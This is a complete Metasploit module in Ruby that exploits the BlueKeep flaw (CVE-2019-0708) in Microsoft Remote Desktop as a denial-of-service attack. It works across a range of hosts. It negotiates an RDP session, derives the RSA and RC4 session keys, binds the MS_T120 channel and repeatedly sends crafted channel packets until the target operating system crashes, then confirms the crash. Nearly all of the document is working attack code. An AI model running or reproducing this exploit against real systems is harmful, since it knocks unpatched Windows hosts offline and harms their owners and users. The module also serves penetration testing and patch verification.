class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking
include Msf::Auxiliary::Dos
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
'Description'=> %q{
This module checks a range of hosts for the CVE-2019-0708 vulnerability
by binding the MS_T120 channel outside of its normal slot and sending
DoS packets.
},
'Author' =>
[
'National Cyber Security Centre',
'JaGoTu',
'zerosum0x0',
'Tom Sellers',
'RAMELLA Sebastien'
],
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
],
'DisclosureDate' => '2019-05-14',
'License'=> MSF_LICENSE,
'Notes'=>
{
'Stability' => [ CRASH_OS_DOWN ],
'AKA' => ['BlueKeep']
}
))
register_options(
[
OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
]
)
end
def bin_to_hex(s)
return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
end
def bytes_to_bignum(bytesIn, order = "little")
bytes = bin_to_hex(bytesIn)
if(order == "little")
bytes = bytes.scan(/../).reverse.join('')
end
s = "0x" + bytes
return(s.to_i(16))
end
def int_to_bytestring(daInt, num_chars = nil)
unless(num_chars)
bits_needed = Math.log(daInt) / Math.log(2)
num_chars = (bits_needed / 8.0).ceil
end
if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
[daInt].pack(pack_code)
else
a = (0..(num_chars)).map{ | i |
(( daInt >> i*8 ) & 0xFF ).chr
}.join
a[0..-2]
end
end
def open_connection()
begin
connect()
sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error("Connection error: #{e.message}")
return(false)
end
return(true)
end
def rsa_encrypt(bignum, rsexp, rsmod)
return((bignum ** rsexp) % rsmod)
end
class RdpCommunicationError < StandardError
end
class RDPConstants
PROTOCOL_RDP = 0
end
DEFAULT_CHANNELS_DEFS =
"\x04\x00\x00\x00" +
"\x72\x64\x70\x73\x6e\x64\x00\x00" +
"\x0f\x00\x00\xc0" +
"\x63\x6c\x69\x70\x72\x64\x72\x00" +
"\x00\x00\xa0\xc0" +
"\x64\x72\x64\x79\x6e\x76\x63" +
"\x00\x00\x00\x80\xc0" +
"\x4d\x53\x5f\x54\x31\x32\x30" +
"\x00\x00\x00\x00\x00"
def rdp_build_data_tpdu(data)
tpkt_length = data.length + 7
"\x03\x00" +
[tpkt_length].pack("S>") +
"\x02\xf0" +
"\x80" +
data
end
def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true)
flags = 0
flags |= 0b1000 if(rdp_sec)
flags |= 0b1000000 if(client_info)
pdu = ""
if(client_info || rdp_sec)
pdu << [flags].pack("S<")
pdu << "\x00\x00"
end
if(rdp_sec)
pdu << rdp_hmac(hmackey, data)[0..7]
pdu << rdp_rc4_crypt(rc4enckey, data)
else
pdu << data
end
user_data_len = pdu.length
udl_with_flag = 0x8000 | user_data_len
pkt ="\x64"
pkt << "\x00\x08"
pkt << channel_id
pkt << "\x70"
pkt << [udl_with_flag].pack("S>")
pkt << pdu
return(rdp_build_data_tpdu(pkt))
end
def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03")
total_len = data.length + 6
return(
[total_len].pack("S<") +
[type].pack("S<") +
channel_id +
data
)
end
def rdp_build_share_data_header(type, data)
uncompressed_len = data.length + 4
return(
"\xea\x03\x01\x00" +
"\x00" +
"\x01" +
[uncompressed_len].pack("S<") +
[type].pack("C") +
"\x00" +
"\x00\x00" +
data
)
end
def rdp_build_virtual_channel_pdu(flags, data)
data_len = data.length
return(
[data_len].pack("L<") +
[flags].pack("L<") +
data
)
end
def rdp_calculate_rc4_keys(client_random, server_random)
preMasterSecret = client_random[0..23] + server_random[0..23]
masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) +rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)
sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) +rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)
initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)
initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)
macKey = sessionKeyBlob[0..15]
return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
end
def rdp_connection_initiation()
vprint_status("Verifying RDP protocol...")
vprint_status("Attempting to connect using RDP security")
rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))
received = sock.get_once(-1, 5)
if (received and received.include? "\x00\x12\x34\x00")
return(true)
end
return(false)
end
def rdp_final_hash(k, client_random_bytes, server_random_bytes)
md5 = Digest::MD5.new
md5 << k
md5 << client_random_bytes
md5 << server_random_bytes
return([md5.hexdigest].pack("H*"))
end
def rdp_hmac(mac_salt_key, data_content)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new
pad1 = "\x36" * 40
pad2 = "\x5c" * 48
sha1 << mac_salt_key
sha1 << pad1
sha1 << [data_content.length].pack('<L')
sha1 << data_content
md5 << mac_salt_key
md5 << pad2
md5 << [sha1.hexdigest].pack("H*")
return([md5.hexdigest].pack("H*"))
end
def rdp_parse_connect_response(pkt)
ptr = 0
rdp_pkt = pkt[0x49..pkt.length]
while(ptr < rdp_pkt.length)
header_type = rdp_pkt[ptr..ptr + 1]
header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]
if(header_type == "\x02\x0c")
server_random = rdp_pkt[ptr + 20..ptr + 51]
public_exponent = rdp_pkt[ptr + 84..ptr + 87]
modulus = rdp_pkt[ptr + 88..ptr + 151]
rsa_magic = rdp_pkt[ptr + 68..ptr + 71]
if(rsa_magic != "RSA1")
print_error("Server cert isn't RSA, this scenario isn't supported (yet).")
raise RdpCommunicationError
end
bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8
vprint_status("RSA #{bitlen}-bits")
modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]
end
ptr += header_length
end
rsmod = bytes_to_bignum(modulus)
rsexp = bytes_to_bignum(public_exponent)
rsran = bytes_to_bignum(server_random)
vprint_status("MODULUS:#{bin_to_hex(modulus)} - #{rsmod.to_s}")
vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")
return rsmod, rsexp, rsran, server_random, bitlen
end
def rdp_rc4_crypt(rc4obj, data)
rc4obj.encrypt(data)
end
def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new
sha1 << i_bytes
sha1 << s_bytes
sha1 << client_random_bytes
sha1 << server_random_bytes
md5 << s_bytes
md5 << [sha1.hexdigest].pack("H*")
return([md5.hexdigest].pack("H*"))
end
def rdp_recv()
buffer_1 = sock.get_once(4, 5)
raise RdpCommunicationError unless buffer_1
buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)
raise RdpCommunicationError unless buffer_2
vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")
return(buffer_1 + buffer_2)
end
def rdp_send(data)
vprint_status("Send data: #{bin_to_hex(data)}")
sock.put(data)
end
def rdp_sendrecv(data)
rdp_send(data)
return(rdp_recv())
end
def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)
user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)
tpkt_len = user_name.length + 38
x224_len = user_name.length + 33
return(
"\x03\x00" +
[tpkt_len].pack("S>") +
[x224_len].pack("C") +
"\xe0" +
"\x00\x00" +
"\x00\x00" +
"\x00" +
"\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" +
user_name +
"\x0d\x0a" +
"\x01\x00" +
"\x08\x00" +
[requested_protocols].pack('L<')
)
end
def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)
name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')
name_unicode += "\x00" * (32 - name_unicode.length)
pdu = "\x7f\x65" +
"\x82\x01\xb2" +
"\x04\x01\x01" +
"\x04\x01\x01" +
"\x01\x01\xff" +
"\x30\x19" +
"\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +
"\x30\x19" +
"\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" +
"\x30\x1c" +
"\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +
"\x04\x82\x01\x51" +
"\x00\x05" +
"\x00\x14\x7c\x00\x01" +
"\x81\x48" +
"\x00\x08\x00\x10\x00\x01\xc0\x00" +
"\x44\x75\x63\x61" +
"\x81\x3a" +
"\x01\xc0" +
"\xea\x00" +
"\x0a\x00\x08\x00" +
"\x80\x07" +
"\x38\x04" +
"\x01\xca" +
"\x03\xaa" +
"\x09\x04\x00\x00" +
"\xee\x42\x00\x00" +
[name_unicode].pack("a*") +
"\x04\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x0c\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x01\xca" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x18\x00" +
"\x0f\x00" +
"\xaf\x07" +
"\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" +
"\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" +
"\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" +
"\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" +
"\x07" +
"\x00" +
[selected_proto].pack('L<') +
"\x56\x02\x00\x00" +
"\x50\x01\x00\x00" +
"\x00\x00" +
"\x64\x00\x00\x00" +
"\x64\x00\x00\x00" +
"\x04\xc0" +
"\x0c\x00" +
"\x15\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x02\xc0" +
"\x0c\x00" +
"\x1b\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x03\xc0" +
"\x38\x00" +
channels_defs
size_1 = [pdu.length - 5].pack("s")
pdu[3] = size_1[1]
pdu[4] = size_1[0]
size_2 = [pdu.length - 102].pack("s")
pdu[100] = size_2[1]
pdu[101] = size_2[0]
size_3 = [pdu.length - 111].pack("s")
pdu[109] = "\x81"
pdu[110] = size_3[0]
size_4 = [pdu.length - 125].pack("s")
pdu[123] = "\x81"
pdu[124] = size_4[0]
size_5 = [pdu.length - 383].pack("s")
pdu[385] = size_5[0]
rdp_build_data_tpdu(pdu)
end
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)
encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)
bitlen += 8
userdata_length = 8 + bitlen
userdata_length_low = userdata_length & 0xFF
userdata_length_high = userdata_length / 256
flags = 0x80 | userdata_length_high
pdu = "\x64" +
"\x00\x08" +
"\x03\xeb" +
"\x70" +
[flags].pack("C") +
[userdata_length_low].pack("C") +
"\x01\x00" +
"\x00\x00" +
[bitlen].pack("L<") +
encrypted_rcran +
"\x00\x00\x00\x00\x00\x00\x00\x00"
return(rdp_build_data_tpdu(pdu))
end
def pdu_erect_domain_request()
pdu = "\x04" +
"\x01\x00" +
"\x01\x00"
return(rdp_build_data_tpdu(pdu))
end
def pdu_attach_user_request()
pdu = "\x28"
return(rdp_build_data_tpdu(pdu))
end
def pdu_channel_request(user1, channel_id)
pdu = "\x38" + [user1, channel_id].pack("nn")
return(rdp_build_data_tpdu(pdu))
end
def pdu_client_info(user_name, domain_name = "", ip_address = "")
user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?
user_unicode = Rex::Text.to_unicode(user_name[0..20],type = 'utf-16le')
uname_len = user_unicode.length
domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')
domain_len = domain_unicode.length
ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00"
ip_len = ip_unicode.length
pdu = "\xa1\xa5\x09\x04" +
"\x09\x04\xbb\x47" +
"\x03\x00\x00\x00" +
[domain_len].pack("S<") +
[uname_len].pack("S<") +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
[domain_unicode].pack("a*") +
"\x00\x00" +
[user_unicode].pack("a*") +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x02\x00" +
[ip_len].pack("S<") +
[ip_unicode].pack("a*") +
"\x3c\x00" +
"\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" +
"\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" +
"\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" +
"\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" +
"\xa4\x01\x00\x00" +
"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
"\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" +
"\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
"\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" +
"\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" +
"\xc4\xff\xff\xff" +
"\x01\x00\x00\x00" +
"\x06\x00\x00\x00" +
"\x00\x00" +
"\x64\x00\x00\x00"
return(pdu)
end
def pdu_client_confirm_active()
pdu= "\xea\x03\x01\x00" +
"\xea\x03" +
"\x06\x00" +
"\x3e\x02" +
"\x4d\x53\x54\x53\x43\x00" +
"\x17\x00" +
"\x00\x00" +
"\x01\x00" +
"\x18\x00" +
"\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x02\x00" +
"\x1c\x00" +
"\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" +
"\x01\x00\x00\x1a\x01\x00\x00\x00" +
"\x03\x00" +
"\x58\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" +
"\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" +
"\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" +
"\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" +
"\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" +
"\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x0a\x00" +
"\x08\x00" +
"\x06\x00\x00\x00" +
"\x07\x00" +
"\x0c\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x05\x00" +
"\x0c\x00" +
"\x00\x00\x00\x00\x02\x00\x02\x00" +
"\x08\x00" +
"\x0a\x00" +
"\x01\x00\x14\x00\x15\x00" +
"\x09\x00" +
"\x08\x00" +
"\x00\x00\x00\x00" +
"\x0d\x00" +
"\x58\x00" +
"\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" +
"\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x0c\x00" +
"\x08\x00" +
"\x01\x00\x00\x00" +
"\x0e\x00" +
"\x08\x00" +
"\x01\x00\x00\x00" +
"\x10\x00" +
"\x34\x00" +
"\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" +
"\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" +
"\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" +
"\x0f\x00" +
"\x08\x00" +
"\x01\x00\x00\x00" +
"\x11\x00" +
"\x0c\x00" +
"\x01\x00\x00\x00\x00\x28\x64\x00" +
"\x14\x00" +
"\x0c\x00" +
"\x01\x00\x00\x00\x00\x00\x00\x00" +
"\x15\x00" +
"\x0c\x00" +
"\x02\x00\x00\x00\x00\x0a\x00\x01" +
"\x1a\x00" +
"\x08\x00" +
"\xaf\x94\x00\x00" +
"\x1c\x00" +
"\x0c\x00" +
"\x12\x00\x00\x00\x00\x00\x00\x00" +
"\x1b\x00" +
"\x06\x00" +
"\x01\x00" +
"\x1e\x00" +
"\x08\x00" +
"\x01\x00\x00\x00" +
"\x18\x00" +
"\x0b\x00" +
"\x02\x00\x00\x00\x03\x0c\x00" +
"\x1d\x00" +
"\x5f\x00" +
"\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" +
"\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" +
"\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" +
"\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" +
"\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" +
"\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"
return(rdp_build_share_control_header(0x13, pdu))
end
def pdu_client_synchronize(target_user = 0)
pdu = "\x01\x00" +
[target_user].pack("S<")
data_header = rdp_build_share_data_header(0x1f, pdu)
return(rdp_build_share_control_header(0x17, data_header))
end
def pdu_client_control_cooperate()
pdu = "\x04\x00" +
"\x00\x00" +
"\x00\x00\x00\x00"
data_header = rdp_build_share_data_header(0x14, pdu)
return(rdp_build_share_control_header(0x17, data_header))
end
def pdu_client_control_request()
pdu = "\x01\x00" +
"\x00\x00" +
"\x00\x00\x00\x00"
data_header = rdp_build_share_data_header(0x14, pdu)
return(rdp_build_share_control_header(0x17, data_header))
end
def pdu_client_input_event_sychronize()
pdu = "\x01\x00" +
"\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00\x00\x00"
data_header = rdp_build_share_data_header(0x1c, pdu)
return(rdp_build_share_control_header(0x17, data_header))
end
def pdu_client_font_list()
pdu = "\x00\x00" +
"\x00\x00" +
"\x03\x00" +
"\x32\x00"
data_header = rdp_build_share_data_header(0x27, pdu)
return(rdp_build_share_control_header(0x17, data_header))
end
def crash_test(rc4enckey, hmackey)
begin
received = ""
for i in 0..5
received += rdp_recv()
end
rescue RdpCommunicationError
end
vprint_status("Sending DoS payload")
found = false
for j in 0..15
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
end
end
def produce_dos()
unless(rdp_connection_initiation())
vprint_status("Could not connect to RDP.")
return(false)
end
vprint_status("Sending initial client data")
received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))
rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)
vprint_status("Sending erect domain request")
rdp_send(pdu_erect_domain_request())
vprint_status("Sending attach user request")
received = rdp_sendrecv(pdu_attach_user_request())
user1 = received[9, 2].unpack("n").first
[1003, 1004, 1005, 1006, 1007].each do | chan |
rdp_sendrecv(pdu_channel_request(user1, chan))
end
client_rand = ''
32.times { client_rand << rand(0..255) }
rcran = bytes_to_bignum(client_rand)
vprint_status("Sending security exchange PDU")
rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))
rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)
vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
vprint_status("HMAC_KEY:#{bin_to_hex(hmackey)}")
vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")
rc4enckey = RC4.new(rc4encstart)
vprint_status("Sending client info PDU")
pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])
received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true))
vprint_status("Received License packet")
rdp_recv()
vprint_status("Sending client confirm active PDU")
rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))
vprint_status("Sending client synchronize PDU")
rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))
vprint_status("Sending client control cooperate PDU")
rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))
vprint_status("Sending client control request control PDU")
rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))
vprint_status("Sending client input sychronize PDU")
rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))
vprint_status("Sending client font list PDU")
rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))
vprint_status("Sending close mst120 PDU")
crash_test(rc4enckey, hmackey)
vprint_status("Sending client disconnection PDU")
rdp_send(rdp_build_data_tpdu("\x21\x80"))
return(true)
end
def run_host(ip)
begin
if(open_connection())
status = produce_dos()
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
rescue RdpCommunicationError => e
vprint_error("Error communicating RDP protocol.")
status = Exploit::CheckCode::Unknown
rescue Errno::ECONNRESET => e
vprint_error("Connection reset, possible NLA is enabled.")
rescue => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
ensure
if(status == true)
sleep(1)
unless(open_connection())
print_good("The host is crashed!")
else
print_bad("The DoS has been sent but the host is already connected!")
end
end
disconnect()
end
end
end